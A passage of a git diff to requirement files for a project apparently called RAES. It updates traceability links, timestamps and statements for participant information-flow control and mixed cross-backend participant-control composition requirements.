`implementations/python/packages/raes_runtime/backend_materialization.py` (Negotiated result and protected archive admission after original authority checks) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_operations/run_artifacts.py` (Immutable protected SDL bytes and verified reproducibility records) +- IMPLEMENTS → SPEC `contracts/schemas/sdl/materialized-scenario-v1.json` (Portable descriptive SDL shape and semantic invariants) +- IMPLEMENTS → SPEC `contracts/schemas/plans/backend-materialization-attestation-v1.json` (Negotiated backend submission contract) +- IMPLEMENTS → SPEC `contracts/schemas/experiment-core/materialization-archive-record-v1.json` (Distinct byte-bound archive reference) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialized_sdl.py` (Parser, phase, compiler, canonical identity and redaction) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_origins.py` (Qualified sources, member origins, wrappers and rewritten files) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_runtime.py` (Runtime delivery, scoped inventory, replicas and original authority) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_inventory.py` (Sparse native inventory and bounded cardinality) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_archive.py` (Real protected bytes, immutable identities and symlink refusal) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_artifacts.py` (Run/archive joins and unchanged visibility/evidence obligations) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_durability.py` (Restart, failure cleanup and no materialization replay) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_schemas.py` (Published closed schemas and qualified identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/materialization_provenance.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/materialization_attestation.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/snapshot_budget_validation.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/materialization.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/planner/materialization.py` (Descriptive compilation, scoped inventory and authenticated plan provenance) +- TESTS → TEST `implementations/python/tests/test_issue_1241_inspection_plans.py` (Materialization delivery and boundary regression coverage) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_context.py` (Materialization delivery and boundary regression coverage) +- TESTS → TEST `implementations/python/tests/test_issue_1241_materialization_snapshot.py` (Materialization delivery and boundary regression coverage) +- TESTS → TEST `implementations/python/tests/test_issue_1241_policy_ownership.py` (Materialization delivery and boundary regression coverage) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/__init__.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/_mapping_key_analyzer.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/_scenario_instantiation.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/_transformation_portable.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/_yaml_loader.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/canonical.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/formatting.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/instantiate.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/parser.py` (Closed descriptive SDL phase, parsing, rendering and semantic identity) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_stubs/manifest.py` (Keep unsupported attestation contracts out of the stub declaration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/conformance/validators.py` (Declare structural validation strength for materialization contracts) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/_snapshot_updates.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/associated_artifacts.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/__init__.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_exports.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/artifact_transformations.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/associated_artifacts.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/bundle.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_artifacts.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_disclosure.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_references.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/experiment_run.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/realization_plans.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/schema_constraints.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/schema_invariants.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/manifest_authority.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/plan_projection.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/planning.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/runtime_state.py` (Neutral attestation, source, plan, result and archive contract integration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/compiler/__init__.py` (Descriptive compilation, scoped inventory and authenticated plan provenance) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/compiler/pipeline.py` (Descriptive compilation, scoped inventory and authenticated plan provenance) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/models/runtime_model.py` (Descriptive compilation, scoped inventory and authenticated plan provenance) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/planner/__init__.py` (Descriptive compilation, scoped inventory and authenticated plan provenance) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/planner/core.py` (Descriptive compilation, scoped inventory and authenticated plan provenance) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_reference_backend/manifest.py` (Keep unsupported attestation contracts out of the reference declaration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_calls.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_effect_transitions.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_input_contracts.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_observation_calls.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_realization_authority.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_snapshot_contracts.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_configuration.py` (Typed archive ownership and compatible runtime configuration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api_models.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_execution.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_plan_authorization.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_snapshots.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/manager.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/manager_plan_admission.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_action_validation.py` (Attestation admission, execution isolation and durable runtime-owned references) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_execution_control.py` (Attestation admission, execution isolation and durable runtime-owned references) +- TESTS → TEST `implementations/python/tests/test_backend_manifest.py` (Materialization delivery and boundary regression coverage) +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Source-bound replay of retained research claims) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Source-bound replay of retained research claims) diff --git a/docs/requirements/SEM-230/requirement.md b/docs/requirements/SEM-230/requirement.md index c9680a22c..0b44ff595 100644 --- a/docs/requirements/SEM-230/requirement.md +++ b/docs/requirements/SEM-230/requirement.md @@ -6,7 +6,7 @@ type: FUNCTIONAL priority: MUST wave: 3 created_at: 2026-07-15T05:45:06.805688Z -updated_at: 2026-07-18T14:33:41.000394Z +updated_at: 2026-09-20T00:00:00Z --- # SEM-230 — Participant Information-Flow And Control Semantics @@ -21,6 +21,17 @@ Existing participant action, observation, visibility, runtime, and behavioral-re ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#971` (Independent single-operation formal model construction) + +- DOCUMENTS → DOCUMENTATION `docs/research/participant-bisimulation/model-construction.md` (Construction boundary and source derivation) + +- TESTS → TEST `implementations/python/tests/test_issue_971_crossing_models.py` (Complete single-operation transition, retry and atomicity construction tests) + +- IMPLEMENTS → CODE_FILE `implementations/formal/participant_crossing/abstract.py` (Issue #971 single-operation formal model construction only; no equivalence or runtime-realization result) + +- DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1013` (Compose the existing SEM-230 authority in SEM-234 without changing its runtime contract) +- DOCUMENTS → SPEC `specs/formal/participant-semantics/cross-backend-participant-control.md` (Revisioned mixed-composition compatibility boundary) +- TESTS → TEST `implementations/python/tests/test_sem_234_mixed_composition.py` (Bounded composition with incumbent SEM-230 authority) - TESTS → TEST `implementations/python/tests/test_sem_233_flow_control_contracts.py` (SEM-230 portable information-flow contract tests) - IMPLEMENTS → SPEC `contracts/schemas/participant-runtime/participant-flow-control-relation-v1.json` (SEM-230 portable participant flow-control relation schema) - IMPLEMENTS → GITHUB_ISSUE `1002` (Issue #1002 portable flow-control contracts) @@ -49,3 +60,7 @@ Existing participant action, observation, visibility, runtime, and behavioral-re - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_api_participant_retrieval.py` (Audience-bound participant retrieval API adapter) - TESTS → TEST `implementations/python/tests/test_public_docs_policy.py` (Executable participant-control public guide claim example) - DOCUMENTS → DOCUMENTATION `docs/public/participant-control.md` (Participant input and output control guide) + +- IMPLEMENTS → GITHUB_ISSUE `1070` (Modular participant-control semantic publication) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/modular-participant-control.md` (Reuses participant projection and exact-cut relation boundaries) +- TESTS → TEST `implementations/python/tests/test_sem_235_modular_control.py` (Incumbent projection for supervisor-only injects) diff --git a/docs/requirements/SEM-232/requirement.md b/docs/requirements/SEM-232/requirement.md index 0f62f0d7c..12c6da491 100644 --- a/docs/requirements/SEM-232/requirement.md +++ b/docs/requirements/SEM-232/requirement.md @@ -21,6 +21,20 @@ SEM-230 defines participant information-flow labels and projection, API-423 and ## Traceability +- DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1395` (Model multiple operations and interleaved retries) + +- TESTS → TEST `implementations/python/tests/test_issue_971_crossing_profile.py` (Closed carrier and binary profile validation tests) + +- TESTS → TEST `implementations/python/tests/test_issue_971_crossing_export.py` (Complete export, drift and safe publication tests) + +- DOCUMENTS → CODE_FILE `implementations/python/packages/raes_contracts/_participant_crossing_profile.py` (Closed construction profile; theorem remains unestablished) + +- DOCUMENTS → DOCUMENTATION `docs/research/participant-bisimulation/model-construction.md` (Construction boundary and source derivation) + +- TESTS → TEST `implementations/python/tests/test_issue_971_crossing_models.py` (Complete single-operation transition, retry and atomicity construction tests) + +- DOCUMENTS → CODE_FILE `implementations/formal/participant_crossing/export.py` (Issue #971 single-operation formal model construction only; no equivalence or runtime-realization result) + - DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#971` (Implement independent participant-crossing proof models) - DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#972` (Map the reference runtime to the participant-crossing proof model) - DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#973` (Build the participant-crossing bisimulation counterexample corpus) diff --git a/docs/requirements/SEM-233/requirement.md b/docs/requirements/SEM-233/requirement.md index d9e963b1e..bb5e9bd5a 100644 --- a/docs/requirements/SEM-233/requirement.md +++ b/docs/requirements/SEM-233/requirement.md @@ -6,7 +6,7 @@ type: FUNCTIONAL priority: MUST wave: 4 created_at: 2026-07-30T18:36:51.139346Z -updated_at: 2026-09-06T00:00:00Z +updated_at: 2026-09-23T00:00:00Z --- # SEM-233 — Adversarial Participant Boundary Information-Flow Control @@ -15,12 +15,44 @@ updated_at: 2026-09-06T00:00:00Z The ecosystem shall define revisioned participant-neutral boundary information-flow semantics with independent confidentiality and integrity coordinates, conservative provenance-preserving propagation across observations, retained memory, proposals, transformations, action arguments, control handoffs, participant crossings, outputs, and sinks; it shall keep authentication, authorization, admission, approval, declassification, integrity endorsement, redaction, and transformation distinct, and require fail-closed exact-cut mediation immediately before every RAES-controlled external effect or disclosure, including cross-participant and cross-episode flows. +Profile support shall distinguish authored obligations and admitted guarantees +from published profile expressibility and backend realization. Independent +owner-qualified confidentiality and integrity requirements shall retain every +required propagation and selective-release distinction; trusted authority +shall cover each discharged obligation. Unsupported expression or realization +shall prevent the affected mandatory release, and unexpected loss of an +admitted guarantee shall not silently weaken the effective binding. Governed +finite publication and exact historical interpretation shall follow +`ifc-profile-variability/rev1`; new syntax or executable extensibility requires +separate justification and supported consumers. + ## Rationale SEM-230 and the current action, control, crossing, and runtime authorities define participant-relative mediation but do not yet carry independent confidentiality and source-integrity coordinates transitively to the final enforceable sink or distinguish intentionally adversarial influence from ordinary invalid behavior. Issue #812 adopts that missing boundary while preserving participant neutrality and explicit nonclaims for opaque internals and covert channels. +## IFC publication amendment and evidence boundary + +[ADR-114](../../decisions/adrs/adr-114-ifc-profile-variability-and-publication.md) +and [IFC-01–IFC-07](../../../specs/formal/participant-semantics/ifc-profile-variability.md) +publish the #1354 semantic amendment, authoritative on merge. Existing ACTIVE +status and implementation/test links retain their original fulfillment scope. +The new finite witnesses are bounded design evidence, not new portable profile, +owner-aware runtime, installed backend or revised support-negotiation adoption. +The [migration obligations](../../migration/ifc-profile-variability.md) must be +met before claiming those meanings across contracts, live state or history. + ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `1354` (IFC variability semantic decision; no runtime adoption) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/ifc-profile-variability.md` (IFC-01–IFC-07 semantic publication) +- IMPLEMENTS → ADR `docs/decisions/adrs/adr-114-ifc-profile-variability-and-publication.md` (Accepted-on-merge publication decision) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1354-ifc-profile-variability-preflight.md` (Architecture constraints and current support limits) +- DOCUMENTS → DOCUMENTATION `docs/research/ifc-profile-variability/cases.md` (Worked cases and bounded evidence) +- IMPLEMENTS → DOCUMENTATION `docs/migration/ifc-profile-variability.md` (Interpretation, conversion and adoption obligations) +- TESTS → TEST `implementations/python/tests/ifc_profile_variability_model.py` (Finite design interpretation; not runtime enforcement) +- TESTS → TEST `implementations/python/tests/test_issue_1354_ifc_profile_variability.py` (Owner, support and publication witnesses) +- TESTS → TEST `implementations/python/tests/test_issue_1354_governance.py` (Real requirement ownership and scope evaluator) + - DOCUMENTS → ADR `docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md` (Preserves SEM-233 security semantics within modular control) - DOCUMENTS → DOCUMENTATION `docs/research/modular-participant-control/requirements.md` (Issue #1068 reuse disposition; statement and ACTIVE status unchanged) @@ -45,3 +77,7 @@ SEM-230 and the current action, control, crossing, and runtime authorities defin - DOCUMENTS → GITHUB_ISSUE `https://github.com/OpenRAE/rae/issues/1007` (Issue #1007 adversarial evaluation) - DOCUMENTS → GITHUB_ISSUE `https://github.com/OpenRAE/rae/issues/1008` (Issue #1008 evidenced documentation) - DOCUMENTS → GITHUB_ISSUE `812` (Issue #812 adversarial participant control design) + +- IMPLEMENTS → GITHUB_ISSUE `1070` (Modular participant-control semantic publication) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/modular-participant-control.md` (Preserves incumbent security domain in modular composition) +- TESTS → TEST `implementations/python/tests/test_sem_235_modular_control.py` (Known adversarial exposure, retained influence and independent inject) diff --git a/docs/requirements/SEM-234/requirement.md b/docs/requirements/SEM-234/requirement.md index 6c26c936e..2c916b10d 100644 --- a/docs/requirements/SEM-234/requirement.md +++ b/docs/requirements/SEM-234/requirement.md @@ -1,35 +1,118 @@ --- id: SEM-234 title: "Mixed Cross-Backend Participant-Control Composition" -status: DRAFT +status: ACTIVE type: FUNCTIONAL priority: MUST wave: 4 created_at: 2026-07-31T02:14:06.833733Z -updated_at: 2026-07-31T02:14:06.833733Z +updated_at: 2026-09-24T01:59:47Z --- # SEM-234 — Mixed Cross-Backend Participant-Control Composition ## Statement -RAES SHALL define a revisioned mixed cross-backend participant-control composition profile that: (1) supports both alternative realization of one authored scenario in simulation or emulation/operation and simultaneous composed realization across two or more admitted apparatus components; (2) allocates stable compiled participant, controlled-scope, action-family, observation-source, and crossing refs without adding backend choice to portable SDL meaning; (3) binds every composition edge to apparatus identities, authority, mapping, participant/audience policy, temporal coupling and governed order, mapping loss, failure behavior, and evidence; (4) keeps participant identity, acting controller, action admission, backend realization responsibility, HLA-style ownership, routing, and disclosure authority distinct; (5) represents linked inter-trial realization changes and only finite pre-admitted within-run membership/phase schedules without rewriting trial identity or history; (6) distinguishes open/closed control-loop posture, world assumption, and federation membership; and (7) rejects or explicitly weakens compositions with missing, stale, unsupported, contradictory, or unmapped authority, capability, policy, clock/order, or evidence. +RAES SHALL define a revisioned mixed cross-backend participant-control composition profile that: (1) supports both alternative realization of one authored scenario in simulation or emulation/operation and simultaneous composed realization across two or more admitted apparatus components; (2) allocates stable compiled participant, controlled-scope, action-family, observation-source, and crossing refs without adding backend choice to portable SDL meaning; (3) binds every composition edge to apparatus identities, authority, mapping, participant/audience policy, temporal coupling and governed order, mapping loss, failure behavior, and evidence; (4) keeps participant identity, acting controller, action admission, backend realization responsibility, HLA-style ownership, routing, and disclosure authority distinct; (5) represents linked inter-trial realization changes and only finite pre-admitted within-run membership/phase schedules without rewriting trial identity or history; (6) distinguishes open/closed control-loop posture, world assumption, and federation membership; (7) rejects or explicitly weakens compositions with missing, stale, unsupported, contradictory, or unmapped authority, capability, policy, clock/order, or evidence; and (8) requires an admitted mixed edge or staged handoff to execute its subject mapping, bridge or transfer, time coordination, and readback under the owning operation, with distinct correlated execution, delivery, observation, partial/unknown, and handoff facts. ## Rationale Existing RAES authorities support backend-neutral participant semantics, one selected realization envelope, a single acting controller, crossings, time, capability, and evidence, but do not define simultaneous mixed simulation/emulation composition or staged cross-runtime realization. HLA, co-simulation, cyber-range, LVC, and digital-twin precedents show that routing, ownership, time, topology, and empirical transfer need separate, evidenced treatment. +Executable realization must discharge the admitted edge and time obligations. A reference, timestamp, or backend success value cannot itself prove delivery, participant observation, or a native responsibility handoff. + ## Traceability -- DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1013` (Define mixed cross-backend participant-control semantics) -- DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1014` (Publish portable mixed-composition contracts) -- DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1015` (Admit mixed and staged participant trial realizations) +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1016` (Coordinate mixed participant runtimes fail-closed) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_runtime.py` (Typed append-only runtime phase and coordination facts) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/mixed_runtime_history.py` (Runtime composition fold and append-only invariants) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/_snapshot_updates.py` (Composition state preservation through immutable snapshot updates) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/realization_plans.py` (Typed runtime-snapshot composition carriers) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/operation_lifecycle.py` (Runtime-owned composition-phase operation kind) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/runtime_state.py` (Validated live composition state and history) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_mixed_composition_exports.py` (Public mixed-runtime contract exports) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/__init__.py` (Public mixed-runtime configuration surface) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/backend_snapshot_contracts.py` (Runtime ownership classification for composition state) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane.py` (Single mixed-runtime mutation authority) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_configuration.py` (Run-matched fail-closed mixed-runtime configuration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_recovery.py` (Exact component recovery routing without logical-target fallback) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_resolution_records.py` (Mixed-stage-safe administrative resolution classification) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_recovery.py` (Interrupted mixed edge and native handoff stage quarantine on restart) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_history.py` (Composition history-head CAS support) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_snapshots.py` (Durable composition state and history codec) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime.py` (Exact admitted component binding and pre-effect provider decision) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_dispatch.py` (Exact allocation, topology, policy, effect-result, and recovery routing) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_state.py` (Shared validated composition-state fold updates) +- TESTS → TEST `implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py` (Pure, mixed, staged, replay, failure, recovery, and no-effect witnesses) +- TESTS → TEST `implementations/python/tests/test_participant_concurrent_batch_reservations.py` (Exhaustive runtime-snapshot ownership classification) +- IMPLEMENTS → SPEC `contracts/schemas/snapshots/runtime-snapshot-v1.json` (Published mixed-runtime snapshot facts) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1016-mixed-runtime-coordination-preflight.md` (Issue #1016 architecture and authority boundary) +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1014` (Publish portable mixed-composition contracts) +- IMPLEMENTS → SPEC `contracts/schemas/plans/mixed-participant-composition-profile-v1.json` (Closed portable composition profile schema) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition.py` (Sealed profile models and root-local validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py` (Decomposed root-local phase, activity, and transition validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py` (Bounded trusted-context relationship resolution) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/json_ingress.py` (Shared pre-decode nesting bound for safe composition ingress) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/bundle.py` (Reference schema bundle registration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/__init__.py` (Public contract facade registration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_exports.py` (Public contract export manifest) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/versions.py` (Published composition schema-version constant) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/conformance/validators.py` (Structural-context-required conformance registration) +- TESTS → TEST `implementations/python/tests/test_issue_1014_mixed_composition_contracts.py` (Profile modes, rejection, resolution, publication, and bounded-ingress tests) +- TESTS → TEST `implementations/python/tests/test_issue_1014_mixed_composition_governance.py` (Requirement-scope, order, and ownership governance tests) +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1013` (Publish sem-234/rev1 semantic definition; no runtime realization claim) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/cross-backend-participant-control.md` (Revisioned composition, admission and phase semantics) +- IMPLEMENTS → DOCUMENTATION `docs/explain/reference/mixed-participant-composition.md` (Worked cases, clause matrix and bounded assurance) +- TESTS → TEST `implementations/python/tests/sem234_mixed_composition_model.py` (Finite trusted-context composition oracle, not production enforcement) +- TESTS → TEST `implementations/python/tests/test_sem_234_mixed_composition.py` (Admission, projection, phase and progressive-specification witnesses) +- TESTS → TEST `implementations/python/tests/test_sem_234_governance.py` (Exact semantic publication ownership) +- TESTS → TEST `implementations/python/tests/test_nox_shard_wiring.py` (Supporting delivery hygiene and CI verification wiring; not composition semantics evidence) +- TESTS → TEST `implementations/python/tests/test_issue_1238_development_container.py` (Supporting development-container delivery setup; not composition semantics evidence) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1013-sem-234-mixed-participant-control-preflight.md` (Composition authority and current-carrier compatibility) +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1015` (Admit mixed and staged participant trial realizations) +- IMPLEMENTS → SPEC `contracts/schemas/plans/admitted-trial-plan-v1.json` (Mixed-composition binding, profile refs, and source lineage) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/admitted_trial_plan.py` (Plan-local mixed-profile and source-lineage joins) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/admitted_trial_plan_components.py` (Closed mixed realization binding and composition-aware profiles) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py` (Trial-admission effect, projection, and all-phase resource resolution) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/compiler.py` (Atomic mixed and staged trial admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/apparatus.py` (Exact per-component apparatus and capability admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/inputs.py` (Exact profile input and total coordinate-assignment validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/models.py` (Immutable mixed-composition compilation request inputs) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/realization_admission.py` (Selected-scenario, source-lineage, context, resource, and apparatus admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/__init__.py` (Public realization-assignment key export) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/trial_compilation.py` (Aggregate mixed-profile and contextual-work bounds) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/profiles.py` (Composition-aware entry and run identities) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_realization.py` (Fail-closed mixed-runtime nonclaim enforcement) +- VERIFIES → SPEC `contracts/fixtures/plans/trial-compiler-mixed-composition-v1/identity-vectors.json` (Mixed compiler identity conformance vectors) +- TESTS → TEST `implementations/python/tests/test_issue_1015_mixed_staged_trial_admission.py` (Alternative, simultaneous, staged, drift, bounds, identity, lineage, and runtime-rejection coverage) +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Immutable formal-evidence release binding for the changed implementation) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Immutable specification-coverage release binding for the changed implementation) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Current-release strictness and immutable historical evidence regression coverage) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_loading.py` (Current formal-evidence release selection) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_baseline.py` (Immutable formal-evidence baseline admission) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_releases.py` (Versioned formal-evidence replay and lineage 